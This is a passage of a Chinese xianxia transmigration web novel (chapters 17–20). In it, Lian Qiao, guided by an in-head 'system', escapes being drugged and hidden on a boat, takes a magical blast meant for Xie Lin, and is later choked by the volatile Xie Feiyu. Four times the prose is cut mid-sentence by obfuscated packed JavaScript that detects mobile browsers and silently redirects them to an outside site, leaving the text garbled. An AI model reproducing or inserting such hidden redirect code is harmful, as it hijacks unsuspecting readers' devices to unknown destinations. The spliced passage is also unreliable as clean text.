他要把她留在船上,不让她到落神村去。 可是……为什么?她有这么碍眼吗?让他三番两次想要把她从主角团赶走。 想到那个还有几个时辰就要到来的痛觉惩罚,连翘急得眼眶发红,压低声音咬牙切齿道: “谢无咎!你怎么又来?信不信我现在就喊叶姐姐和你师兄过来?看你怎么解释!” 谢无咎垂眸看她,上半张脸匿在阴影里,只能看到唇边自嘲的弧度。 “可以哦,你叫吧。” 尾音上扬,语调轻快,有点神经质。 连翘一噎,喉间的话生生咽了回去。 她攥紧拳头,指尖都要刺破掌心——若是真喊来那两人,谢无咎定然是解释不清的,那他与谢凛的矛盾必然提前爆发,得不偿失。 疯子!破罐子破摔的疯子! 既然如此,来硬的肯定不行了,她眼珠一转,立刻换上泫然欲涕的表情,声音软得能滴出水来。 “你、你忘了共生蛊吗?离你太远的话,我会死的。我死了不要紧,你也会死呀……” 自从接下这个任务以来,连翘还是第一次露出这么脆弱的形容,她眨眨眼睛,试图把泪水挤出来,以唤醒男二心中不知道存不存在的那种名为怜香惜玉的情绪。 谢无咎确实顿了一下。 连翘努力睁着无辜的大眼睛,更加卖力了。 半晌,她只听见少年幽幽叹了口气,说,这个表情实在不适合你。 就算全世界的人一觉醒来爱好全变成了伺候祖宗,以连大小姐的性子也只有给别人当祖宗的份。 而祖宗在面前掉眼泪,只会让人觉得要折寿。 他又道,其实你买到解缘丹了,不是么?你只要吃了就可以了。 这回倒是轮到连翘愣住了。 她的泪一下子憋了回去,两只眼睛滴溜滴溜地转,方才那点儿急躁的怒意顷刻间烟消云散。 “统子哥,你是不是不想干了……”她在意识里谴责,“你怎么没告诉我解缘丹是共生蛊的解药?” 【这个……本来是要告诉你的】 系统讪笑。 【但当时光顾着和你一起义愤填膺地骂男二恩将仇报了,就……忘记了】 现在追责也无济于事,连翘抬头,顺着少年的话往下说。 “是啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411973|168305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我确实拍到了解缘丹,但你让我这样蹲着,我没办法吃啊。要是三日醉的功效一直不结束,我又离你太远,没吃到解药,岂不是还得死?” 谢无咎低头看她,姑娘一双圆溜溜的杏眼被浅薄泪意浸泡过,在昏暗的地方愈发显得剔透晶亮,说起“死”的时候,其中没有半分惧怕,反倒是有些不服输的跃跃欲试。 到底是什么样的富庶人家能够养出这样的小姐?仿佛脑门子上就刻着“胆子大不怕吓”六个大字。 他想,要是自己知道解缘丹被她放在哪里了,一定现在就让她吃,要看着她一口吞下去还掰开嘴检查,以绝后患。可是他不知道,又怕这不按套路出牌的大小姐耍什么新的花样,只能出此下策。 连翘蹲久了,腿有点麻,脖子也有点酸。她与谢无咎大眼瞪大眼了一阵,实在有些撑不住,还没来得及在三日醉控制的允许范围内稍微放松一下脖子,就闻见狭窄潮湿的空间里骤然迸发出浓郁的血腥气。 她眼睁睁看着谢无咎从袖中抽出方才她借给他还没要回来的那方手帕,然后面不改色地咬破自己的指尖,鲜血从苍白的皮肤下渗出,落在素白的手帕上,很快殷红就覆盖了原本柿子汁的痕迹,像雪地里绽开的红梅。 少年将染血的手帕轻轻覆盖在她发顶,动作温柔得没有发出一点声音,就像在给一位盛装的新嫁娘盖上盖头。 “你——”连翘的声音卡在喉咙里。 “放心,这样就不会死了。” 谢无咎垂眸看她,睫毛在眼下投出一片阴翳。 “帕子上沾染了我的气息,足够你撑到三日醉的功效解开。” 怪不得刚刚死活不还给她手帕,甚至就连叶望舒的帕子都不要了。 连翘一听,便知道谢无咎心中其实早就做好了这个决定,毫无转圜的余地。 那再怎么说也没有用了,谢无咎是个偏执的人,在现在这种情况吓靠言语扭转他的思想几乎是不可能的事。 暗格里一时安静得能让他们听到彼此的呼吸声。阳光从缝隙里漏进来,落在连翘的脸上,映出一层细软的光晕。她的睫毛卷翘,此刻不住的颤抖着,却在被三日醉控制的范围内尽可能地转过头去,倔强地不肯再看向他这边了。 不知道为什么,谢无咎敏锐地意识到,她有些生气。尔后他忽然想起很多年前,每每他被欺负,被饿得眼冒金星去厨房偷东西吃的时候,也有人曾对着他露出过类似的表情。 原来是在生气啊,他有些后知后觉。 漫长的沉默后,谢无咎轻声道。 “睡吧。” 连翘的睫毛像被惊动的蝶翅,挣扎着颤了几下,最终缓缓合上。少年蹲下身,将她歪倒的身子扶正,指尖拂过她脸颊时,突然顿住—— 一颗泪珠正顺着她紧闭的眼角滑落,晶莹的泪滴挂在她小巧的下巴上,要落不落。 谢无咎猛地收回手,像是被烫到。他仓皇退出暗格,合上木板的瞬间,总算是能够呼吸到空气。 他想,就让她这样安静地睡一觉吧。一觉醒来,她就会跟着船夫回到渔村,回到她该回的地方去。 阳光很好,湖水很清。 可有些人,注定不能同行。 18. 第 18 章 三日醉带来的困意如同一场夏日傍晚突如其来的暴雨,连翘整个人的意识往下沉,感觉自己坠入了一片朦胧的光影里,四周像是被水雾笼罩,模糊不清。 她眨了眨眼睛,发现自己站在一座陌生又熟悉的院落中,小院青砖灰瓦,墙角堆着柴火,空气中飘着淡淡的米香和柴烟味道。远处传来孩童的笑闹与仙鹤的啼鸣,而脚下一颗小石子咕噜咕噜滚到了她的脚边。 她循声望去,看见一个瘦小的男孩蹲在厨房后门的阴影里,手上抓着一把小石头,正在百无聊赖地弹着玩。 男孩约莫七八岁,衣衫单薄,头发有些凌乱,但眉眼间已经能看出谢非虞的影子。他低着头,心不在焉的,像是在等什么人。 “小谢哥哥!”一个清脆的声音从厨房里传来。 连翘转头,看见一个扎着羊角辫的小女孩从门缝里探出头,手里端着一碗冒着热气的五花肉,上面还盖着两个馒头。 她的眼睛亮晶晶的,左右张望了一下,像是一只机警的小兽,确认没有其他人在场,才蹑手蹑脚地溜到男孩身边,把馒头塞进他手里。 “快吃,趁着还没有人往这边来。”小女孩的声音压得低低的,紧张兮兮地打量着四周。 男孩没说话,只是默默接过馒头,低头咬了一口,露出的手背上全是青紫色的淤痕。 “你的伤还没好啊……”小女孩小声道,满眼的担忧,语气听起来很是愤愤不平,“我真搞不懂那群人,为什么老是针对你,明明是……” 男孩面上的表情古井无波,就像是食不知味一样往嘴里塞馒头。 于是她没说下去,故作老成地叹了口气,又抬头看院子里那株生得很好的柿子树。 小院冷清,屋檐边的灰瓦缝隙中生了青苔,但这株柿子树应当是得了人悉心照料,枝叶茂密繁盛,椭圆叶片在风中抖动,露出其中数个浑圆橙红、像是小灯笼一般的果子。 “太好啦!”小女孩的语调兴奋了起来,“马上就能摘柿子,等过两天咱们就能吃上了!” 她降低了音量,用分享秘密的口吻悄悄道。 “柿子可是这个世界上最好吃的水果……甜得像蜜一样!” 男孩终于抬起头来,像是被她的好心情带动了,眼睛里闪过一丝微弱的光,但很快又暗了下去,他低声道:“我明日要随师尊下山,不知何时能回来……柿子放久了会坏。” “这有什么要紧的。” 小女孩抬手给他擦了擦唇边馒头的碎屑,理所当然道。 “那就做成柿饼,等你回来好了。” 温馨美好的梦境到这里戛然而止,几乎是随着女孩脆生生的话语落下,一碧如洗的天空就突然黑云翻卷。 像是仙人失手将砚台摔碎在了宣纸上,浓墨一股一股呼啸着,凝成雪,凝成霜,凝成咆哮的兽脸。凛冽的狂风平地而起,席卷过小院的每个角落,柿子树的枝桠在风中扭曲、摇摆,最后“咔嚓”一声坠落在地。 连翘感觉到这个梦境在崩塌,她奋力睁眼望向方才男孩和女孩互相依偎的地方,女孩子的身影已经不见了,年幼的谢非虞捧着空碗直挺挺地站着,屋子的阴影如同一座巍峨厚重的山峦,倾倒在幼童清瘦的脊背上。 她揉揉眼睛想要看得清楚一些,却仍是徒劳。飒飒风声中,男孩抬起来头,那双猩红若鬼魅的眼睛里,定定淌出一滴泪来。 “谢非虞!” 连翘心口猛地一颤,高声唤他的名字,拼命地伸手去够,却在下一秒被从身上传来的撕心裂肺的疼痛打断了动作。 那感觉像是无数根银针顺着四肢百骸游走,细密又剧烈的痛楚无处不在。 她痉挛着蜷缩起身子,骤然睁眼,捂着胸口“噗”得喷出一口血,剧烈地喘息了半晌,直到浑身上下都大汗淋漓了才勉强回过神来。 【宿主,你还好吗】 系统冷冰冰的声音里带了些人性化的担忧,见连翘摆了摆手才放下心来,开始恢复机械语调叽叽喳喳。 【方才为你展示的是阶段任务一完成后奖励的剧情碎片,但这跟我想象的不一样,根据我的数据,93.4%同类型副本的任务奖励都是关于未来将要发生的剧情的预警,要不然就是主线危机的成因。 【刚刚这段似乎是……回忆?】 连翘没说话,她捡起方才从头顶滑落的那方手帕,擦掉唇边的血,站起身来,打量着四周。 仍旧是暗格内,四处静悄悄的,也不知道谢非虞到底编造了什么谎话来向叶望舒和谢凛解释清楚她的去向,不过这也不是她当下最关心的事情。 【你说这段回忆里的小女孩,是不是就是刚刚男二跟你聊天时提到的,那位以前认识的朋友。所以他把你支走并不是要折磨你,而是要你解了共生蛊之后不要再跟着主角团冒险,他突然对你这么好,不会是把你当成了替身……】 没有接它的话茬,连翘打断:“还有多久?” 【什么?】系统没反应过来。 “爱慕谢凛,48小时,还有多久?” 不过多说了几个字,她的喉头就涌上难以忽视的血腥气,这是她方才借助系统的力量强行冲破共生蛊控制的后遗症。 【还有半个多时辰,一个多小时。】 系统沉默了一下,然后飞快回答。 “好,我知道了。” 连翘抓起被船中潮气浸得湿漉漉的裙摆,吱呀一声推开暗格的出口。 月色像镀银一般洒下来,船只在水面上轻轻地荡,她张望一下,此处并不是熟悉的渔村码头。 她望着不远处群山中亮起的几点灯火,勾了一下唇角。 “来得及,咱们去找人新仇旧账一起算。” 暮色四合,群山如沉睡的巨兽,将落神村温柔地裹在阴影里。村中次第亮着灯火,从纸窗透出暖黄的光晕,炊烟从青瓦屋顶袅袅升起,在微凉的晚风中缓缓飘散。 后面的梯田隐入黑暗,更远处,山峦的剪影层层叠叠,与星空相接,分不清哪里是天,哪里是山。 落神村依山傍水,环境清雅,倒真像个世外桃源。 村子里每过几天也会来一些外人,但都不像这两日来得这样多,犬吠此起彼伏,村子中央那块平坦的广场周围的篝火都被点亮,将此地映照得灯火通明。 许多村民不远不近地围在广场外围,好奇又紧张地打量着。 广场中央两伙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432442|168305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人正在对峙,这边谢凛的眉头死死皱起,但还能勉强维持住平和有礼的气度;而对面百里珏下巴都要扬到天上去、整个人颐指气使,身后的小厮还时不时地帮腔几句。 “就是,少爷说得对啊!” 如此对比之下,就显得百里珏更像是个没事找茬的街溜子。 篝火噼啪作响,映得百里珏腰间玉佩泛着金光。他“唰”地展开折扇,故作潇洒地摇了摇: “诸位欲借本公子的灵犬去寻人?道也未尝不可——”他折扇轻点,眼尾微挑,“只需事成之后,让那位姑娘入我府中,做本公子的第十八房美妾。” 谢凛负手而立,眉峰微蹙。 阿虞说连翘是晕船不适,所以自己先下了船去村中人家讨水喝了,结果他们三人到了村中后,从村东头找到村西头都没有找到那姑娘的影子。 而百里珏带着的那条并非普通的狗,而是只要从物品上闻到一点残余的味道,就能通过味道寻找到主人的灵犬,想来也是为了寻找百里湘做的准备。 哪曾想,百里珏会提出这等离谱的要求。 他清清嗓子,声音如冰泉击石: “百里少主,不如你说一个数,需要多少灵石,我一定全数奉上。姑娘家并非货物,岂能作为交换条件?” “就是!”叶望舒腕间的金线绷得笔直,“婚姻嫁娶岂能儿戏,没有过问小满的意见,怎么能说嫁就嫁?” “……灵石?” 百里珏像是听到了什么好笑的东西,和身侧的小厮互相看了一眼,哈哈大笑起来。 “谢仙长,若非念再你的师门曾与家父有旧,本公子岂会在此与你多费口舌?噬渊谷坐拥三十六洞天福地,灵石堆积如山。你且去问问这九州四海,可曾听闻我百里氏为黄白之物折腰?” 周围三两修士窃窃私语,谢凛脸色铁青,却也知道百里珏说的是真话。不管是多少灵石,就算是把连翘当初给他们的那一箱子全都拿上,恐怕也不足以成为让噬渊谷的少主心动的条件。 “如今是尔等有求于本公子,提些条件岂非天经地义?若是这条件不合诸位心意,这交易不做也罢。” 百里珏打量着他的表情,弯腰抚摸了一下灵犬雪白的毛发,道: “更何况,本公子何等身份,那姑娘不过有几分姿色,性子有趣罢了。跟了本公子便是飞上枝头变凤凰,是她三生修来的福分,尔等居然还好意思在这儿推三阻四?” 他说完,又突然眯起眼睛。 “若是谢仙长实在舍不得,大不了待本公子到手玩腻了之后再还给你……” 他的话音还未落下,突然一枚小巧的匕首裹挟着幽蓝色的火焰直冲他面门而来。百里珏被硬生生地吓呆在原地,若不是一旁的小厮眼疾手快推了他一把,恐怕现在就已经血溅当场了。 这一把匕首,是毫不留情的杀招。 他惊愕又愤怒地抬头,却见方才他一直没放在眼里的青衫少年从谢凛身侧向前踏出一步,手上还有枚匕首转动着,微微翘起的唇角带着危险的笑意。 谢非虞幽幽道: “我觉得百里少主的性子也有趣的很,不如你跟我玩玩,看我什么时候能玩腻?” 19. 第 19 章 谢非虞比谢凛矮了几分,模样瞧着正是少年不识愁滋味的年龄段,成日里又总松松垮垮地匿在角落里,主角团三人站在一处,他便成了这三人中看上去说话最没有分量的一个。 若不是方才那枚匕首还钉在脚下的青砖中,上面裹挟着的幽蓝火焰仍旧跳动着,百里珏当真没把他放在眼里。 他惊愕了一阵,被那擦着面颊飞过的利刃吓得头脑一片空白。等片刻后缓过神来,劫后余生的羞恼就远远大过了喜悦,他瞅着对面少年面上浅淡的笑意愈发怒从中来。 “你找死?” “百里少主好不讲道理。” 谢非虞语调轻快,他抬一抬手,那枚钉在砖中的匕首就回到了主人手里。 少年的眼神从围上来的百里珏的手下身上一一扫过,两只手上的短刃转得越来越快,火焰缠绕盘旋恍若一朵盛开的莲花。 “你说要找人家姑娘玩玩,直到玩腻了为止,说得那么理所当然,我便想着噬渊谷的风土人情就是如此。所以就想着找你玩玩,这才刚开始呢,你怎么就生气了?” 百里珏脸色铁青,折扇“啪”地合拢:“好个伶牙俐齿的小子!” 他猛地挥手:“给我往死里打!” 十余名黑衣修士同时祭出符箓,漫天火球如雨点般砸落。谢凛山河剑横扫,剑气如虹,将大半火球击碎。叶望舒金丝织网,护住身后村民。 “在我面前玩火?”谢非虞轻笑。 少年手中的幽蓝火焰骤然暴涨,一旁燃着的篝火都黯淡了几分,蓝焰化作数十道火蛇袭向百里珏的手下。那些修士手上的下一张符箓还未摊开,就被火蛇缠住手腕,发出凄厉的惨叫。 “啊——” 为首的修士皮肉发出“滋滋”的灼烧声,火蛇如同活物般钻进他们的经脉,皮肤迅速泛起灰白色,就像被抽干了所有水分,指甲盖“啪啪”地脱落,露出下面血淋淋的嫩肉。 另一个修士拼命地拍打着手臂,可那蓝火反而越烧越旺,空气中弥漫着皮肉烧焦的臭味,混合着血腥气,令人作呕。 “阿虞!”谢凛一剑劈开袭来的火球,眉头紧锁,“下手轻些!” 谢非虞充耳不闻,指尖匕首飞快地掷出又收回,缠绕的火蛇瞬间将几名修士捆作一团,他们手上的符箓被夺过来在火焰中烧成了一把灰烬。 他歪头看向百里珏,黑漆漆的眸子被幽蓝火焰映照得亮晶晶的,笑得天真无邪。 “百里少主的手下就这点本事?” 百里珏往后退了几步,看着身侧的手下倒了一片,捂着腹部跪倒在地。 附近的修士压低了的交谈声传进他的耳朵里,听不清是什么内容,只隐约让人觉得是奚落和嘲笑。百里珏勃然大怒,亲自拔剑刺来,剑鞘与腰间的龙形玉佩碰撞发出“当啷”一声。 谢非虞不躲不闪,在剑尖距咽喉几寸时突然抬手—— “住手!”谢凛的剑鞘横插进来,隔开两人,他沉声道:“阿虞,够了。” 谢非虞眼中幽光闪烁,正要说话,忽听百里珏阴恻恻笑道:“既然你们找死……” 他将玉佩从腰间取下,在剑刃上划开,坚硬的玉质竟然瞬间被割出一道裂缝,刺目的金光从其中爆射而出,玉佩的四周浮动着逐渐飘散的诡异符文,在火光中泛着不详的血色。 “不好!” 金光乍现的瞬间,谢凛瞳孔骤然收缩,浑身肌肉紧绷。 作为镇厄宗首徒,他太清楚这抹金芒意味着什么——这是噬渊谷镇派绝学“九转凝气诀”,此术能将一位高阶修士的灵力压缩凝练,封印在寻常物件之中,一旦触发,便能爆发出堪比本尊全力一击的恐怖威力。 他记得十二岁那年,随师尊前往南荒除妖时,曾亲眼目睹噬渊谷长老实战此术。那位鹤发童颜的老者不过随手抛出一枚铜钱,转瞬间便见金光暴涨,山崩地裂的轰鸣声中,整座百丈高的山峰竟被硬生生削去山头,碎石飞溅如雨,方圆十里地动山摇。当时师尊立刻祭出护体罡气将他护在身后,但那摧枯拉朽的威势,至今想起仍令他脊背发寒。 此刻眼前这枚玉佩所迸发出的金光,虽不及当年所见那般声势浩大,但其中蕴含的灵力波动却同样令人心惊,想必是噬渊谷交给百里珏的保命法宝。谢凛甚至能清晰地感觉到空气中曈昽的轻微震颤,那是一种近乎实质的压迫感,仿佛连呼吸都要被这金光吞噬。 谢非虞显然也感觉到了这金光中蕴藏着的巨大威力,幽蓝火焰骤然回卷,在它掌心凝结成莲花状的屏障。 “望舒!”谢凛第一次变了脸色,“护住村民!” 叶望舒手中的金线密密麻麻地穿梭着,如同泛着光的雨幕,在人群外围筑起细密的屏障。百里珏身侧的黑衣修士也立马双手结印,在身边凝结出透明的防护屏障。 可那只方才由小厮牵着的灵犬在打斗中被栓到了广场边缘的篝火底座上,处在金网的保护范围之外,而它乖乖地蹲坐在原地,仍旧不明所以地用黑葡萄似的眼睛张望着这边的动静。 千钧一发之际,谢凛飞身扑去。 先天剑骨助他抵御过许多攻击,在师门被灭的那天也毫发无损,但这一击若是硬生生挨上,应当也是会痛的。 罢了,痛就痛吧。 他闭上眼睛,呼啸的风声划过耳畔,人群的惊呼混杂其间,可预想中的剧痛却未降临。 谢凛睁开眼,看见方才他们找遍了整个村子都没找到的少女正挡在他的身后,双臂大张如展翅的鹤,背后诡异地扭曲出一圈淡金色光晕,吸收了大部分金光所产生的爆炸冲击波。 淡金色的光晕,证明这是一张品级很高的防御符,但即便如此符纸还是被猛烈的攻击切割成漫天纷飞的碎片。连翘单薄的后背完全暴露在未能抵消的余波下,被划出鲜血淋漓的伤口,她的脸色惨败如纸,额前碎发被冷汗浸透,唇角也溢出了血丝。 察觉到谢凛的目光,她略微抬眼,强撑着笑了一下。 “不用太感动……”她声音虚弱得几乎听不见,“眼睁睁看着人受伤的事我们这种孔武有力的女子做不到。” 怀中的灵犬发着抖,谢凛还未开口,远处突然传来“噗”的吐血声。 他循声望去,谢非虞单膝跪地,身前的莲花屏障寸寸碎裂,蓝色火焰回缩到他的身边,匕首也化作了两枚小巧的银铃,被少年死死握在手中。 他没有管不远处的百里珏,抹着唇边的血迹,头一次把音量提得这样高,几乎都要破音,看上去整个人都处在暴怒的边缘。 他转过头,黑漆漆的眸子死死盯住连翘,怒骂: “你做什么?找死吗?! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444669|168305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 在少年响彻整个广场的怒喝声中,连翘的身子晃了晃。她听到脑海中“叮”的一声系统提示音:【48小时爱慕任务完成】,视野渐渐模糊,还没来得及反唇相讥,就感觉天旋地转。 “喂!”谢凛眼疾手快地接住她软倒的身子,少女额头滚烫,唇边又溢出一缕鲜血,染红了谢凛的袖口。 谢非虞见状,幽蓝火焰再次在掌心凝聚,跳动的火焰映着少年惨白的脸色宛若前来索命的鬼刹,他转身就要朝百里珏袭去。 “阿虞!”谢凛单手抱着连翘,冷声道,“你还没闹够吗?” 少年的步子一顿,眉头皱得更紧,掌心的火焰越烧越旺。 叶望舒搭上连翘的手腕,脸色骤变,疑惑道:“怎么会?小满的气血翻涌的很厉害,按理说不应该伤的这么重啊。” 她也叫了谢非虞一声,声音中的担忧与关切不似作假。 “阿虞,先救人要紧。” 这一声,终于叫暴怒中的少年转过身来,垂着脑袋朝他们所在的方向走。 “站住!”百里珏在后方叫嚣,“伤了我的人甩甩袖子就想走?噬渊谷绝不会……” 谢非虞突然停步。 他缓缓转身,周身的火焰尽数褪去后,他眸中的亮光也不见了,只剩下一片令人胆寒的漆黑。明灭的篝火映照下,少年苍白的面容仿佛覆着一层寒霜。 “百里少主。”他声音很轻,却让百里珏瞬间噤声,“我劝你消停点。” 银铃在他指尖转了一圈,发出清脆的“叮铃”声,他们被火焰炙烤着,似乎随时都有可能变成那一枚速度奇快的利刃。 “因为……”谢非虞忽然笑了,露出两颗尖尖的虎牙,“我真的有点玩腻了。” 那一瞬间,百里珏仿佛看到尸山血海在少年身后浮现。那明明是一个可以称得上稚气未脱的笑容,却惊得他踉跄着后退了两步,被一块凸起的石砖绊倒在地。 等到三人的身影消失在广场周围拥挤的人群后,小厮才敢上前搀扶:“少主……” “不可能、不可能……”百里珏一把推开他,双手抖得厉害,他死死盯着三人消失的方向,惊疑不定地念念有词,“不可能……绝对是我看错了。” 在他小的时候,仙门仍旧横霸天下,噬渊谷曾出过一位恶徒,仗着修士的身份欺辱妇孺、滥杀无辜,等到这件事情终于传到谷主的耳朵里,这人已经犯下了一百零八杀戒,被当众斩杀在噬渊谷的诛仙台上。 那时年幼的百里珏曾跟着父亲一起去行刑现场,被那人充斥着暴戾杀意的眼神吓得瑟瑟发抖。谷主告诉他,这种让人莫名胆寒的东西,叫做煞气。 煞气是很可怕的,即使隔着几丈的距离仍旧叫百里珏腿软,他问父亲这种煞气是怎么来的,要怎么才能抵御住它。 谷主说,要杀人的念头只会愈演愈烈,尤其是杀的人越来越多,杀满了一百个人之后,行凶者周身的气场就会发生变化,他们身上会沾染着洗不掉的煞气。 “所以你也不用怕,不是什么人身上都能见到煞气的。” 可他方才分明在那个看模样不过十七八岁的少年身上看到了煞气,那样浓郁得几乎形成实体的煞气,比起当时那个被当众斩首的恶徒有过之而无不及。 这……怎么可能呢? 20. 第 20 章 夜色如墨,连翘从昏沉中醒来,厢房里只点着一盏如豆的油灯,她试着动了动,后背的伤口立刻传来尖锐的疼痛,让她倒抽一口凉气。 “小满,你醒了?”叶望舒的声音从身后传来,她手里端着药碗,闻声赶紧过来,探了下连翘的手腕。 “现在倒是好多了,”她说,“方才你气血翻涌得厉害,真要把我吓死了,是因为以前落下过什么病根吗?” 其实受的外伤不算什么,主要是冲破三日醉产生的反噬伤到了肺腑,而这具身体实在娇弱得紧,反应就格外大一些。 可这话又不能对女主说,连翘点点头,讲可能是吧。 她被叶望舒扶着坐起来,给后背的伤口重新包扎了下,然后喝了一碗黑黢黢的苦涩汤药,才终于找到了说话的机会。 “谢……”她嘶哑着开口,嗓子火辣辣地疼,目光扫过叶望舒的身后。 “阿凛在主屋跟二白哥说话,”叶望舒用帕子擦掉她唇边留下的汤药的痕迹,“至于阿虞……自从你昏迷后就没见到他过来,想必是被阿凛罚去柴房思过了。” 她朝窗外瞥了一眼,压低声音。 “你是不知道,方才你不见那会儿,他发了多大的火。” 听故事确实能有效缓解身体上的疼痛。 连翘也是这时候才发现女主角居然这么有说书的天赋,讲起故事来那叫一个绘声绘色、惟妙惟肖,连百里珏吊儿郎当的油腻嗓音都模仿出来个十成十。 若不是她是穿书来的,恐怕真要信了叶望舒这个冲冠一怒为红颜的精彩故事。 “……总之,”叶望舒总结,“我可从来没见过阿虞的脸色差成这样。” “他脸臭,可能真的只是因为他脾气差,是他本人的问题,和我一点关系都没有。” 连翘嘀嘀咕咕。 “嗯?小满,你说什么?” “……没什么,”连翘打了个哈欠,眼角恰到好处地蓄起一点困倦的泪花,“叶姐姐,我有点困了。” 此时夜色已深,窗外漆黑一片,往日里这个时辰是该熄灯了。 更何况如今她是个伤号,精力不济也是正常的。 “确实不早了,那你早些休息,若是晚上有什么需要我帮忙的,尽管叫我。” 叶望舒扶着她趴回床上,盖好被子,不放心地叮嘱了好几声才离开。 一、二、三…… 连翘在心中默默计数,等数到两百的时候,她慢腾腾地爬起来,推开门,透过缝隙左右打量了一下,确认无人后,才拎起一边的灯笼推门出去。 她还有一笔帐需要找人算呢。 柴房的门轴发出细微的“吱呀”声,连翘蹑手蹑脚地钻了进去,潮湿的霉味混合着干草的气息扑面而来。 她捂住口鼻,灯笼昏黄的光晕在墙壁上投下摇曳的影子。 “谢非虞?”她压低声音呼唤,“小谢同志?” 回应她的只有角落里窸窸窣窣的鼠类动静。 灯笼往前探去,光晕扫过堆积如山的柴垛,最终停在最里侧的墙角。 少年抱膝而坐,苍白的脸埋在臂弯里,只露出一截细瘦的腕骨,上面还残留着未擦净的血迹。感觉到脚步声的靠近,他猛地抬头,黑漆漆的眸子在暗处亮得惊人。 “你来干什么?”谢非虞的声音沙哑得不像话。 连翘走进几步,灯笼的光照亮了他惨白的唇色和额角的冷汗,地上有一小滩暗红的血迹,此时此刻都快要干涸了。 她的心突然揪了一下。 她虽然赶来的匆忙,但根据叶望舒的描述,也能回忆起当时广场上的情形。谢非虞是那个时候离爆炸的玉佩最近的人,身上必然不可能完好无损,再加上共生蛊的关系,连翘感觉到的疼痛,他全部感同身受。 连翘被安置在打扫过的厢房包扎好了伤口也喝过药,少年却拖着满身的伤被罚到阴冷的柴房里面。 谢凛应该是信奉苦难教育的人,觉得天将降大任于斯人也,必先苦其心志,劳其筋骨,饿其体肤,空乏其身。更何况在他看来,谢非虞出手狠辣,应当受罚。 这些伤口对于修士来说确实算不上什么,但是疼痛并不会因为他们体内存在曈昽就轻缓半分。 连翘叹了口气,可下一瞬又想到自己挣脱三日醉控制时所遭受的痛苦,那样细细密密如同蚂蚁啃噬般的痛苦。因为是借助了系统的力量,是这个世界本不应当存在的东西,所以这些感受并不会被共生蛊传递给谢非虞。 如果你心疼一个男人,那么你就会倒霉一辈子。① 连翘默默地重复给自己听,努力忽略心底涌起的那点青梅果一般酸涩的感觉。 她许久没有应声,突然感觉被一股大力拽住手腕,灯笼脱手落地,滚了几圈后熄灭。 黑暗瞬间吞噬了整个空间。 脖颈被冰凉的手指掐住,后背重重撞上粗糙的墙面。谢非虞的气息近在咫尺,仍是那股清冽的松木香,此刻却如同一阵阴风喷洒在她脸上。 无边的黑暗极大的限制了人的视野范围,入目所及只有少年明亮的黑色瞳仁,此时如同两团鬼火,阴森森地锁定住她。 “我不是让你好好呆在船上吗?”少年的声音如同吐息一般冷冰冰的,手指一寸寸收紧,“为什么用了三日醉还是那么不听话?” 连翘呼吸困难,双手徒劳地掰着他的手指,黑暗中她能感觉到谢非虞掐着她脖子的手在发抖。 明明他也气喘吁吁,脸色苍白得可怕,却还是咬牙切齿地将手收紧,好像完全感受不到共生蛊所传来的窒息痛苦一样。 “放…手……”她艰难地挤出两个字,指甲陷入谢非虞的手背。 “是不是……只有死了才会乖乖听话?”少年的声音越来越低,手上的力道却分毫不减。连翘眼前开始发黑,耳边嗡嗡作响。 不对,这不对,她在混沌中想。 按照系统给出的资料,谢非虞虽然性格乖戾,但却是一个十分懂得审时度势的聪明人。共生蛊让他们痛感相连,他怎么可能真的掐死她? 连翘简直不敢想象他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454699|168305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是双双在这个小小的柴房窒息而死,剧情会崩成什么样子,结算系统会怎么判定,这里有一对炮灰女配和白切黑男二死于殉情? 【警告!检测到角色谢非虞黑化度大幅度提高!】系统尖锐的警报在脑海中炸响。 连翘这才注意到自己后背上的伤口似乎有些裂开了,空气中弥散着的两种截然不同的血腥气,少年的眼睛有些发红。 上次在沧溟的宫殿就发现了,不知道是出于什么原因,似乎只有连翘鲜血的味道会刺激他失去理智。 原来是狂犬病犯了。 真是,什么品种的疯狗发起疯来居然有掐死自己的勇气? 连翘抬脚踹向身旁的柴堆,垒得高高的木柴轰然倒塌,劈头盖脸地砸下来。 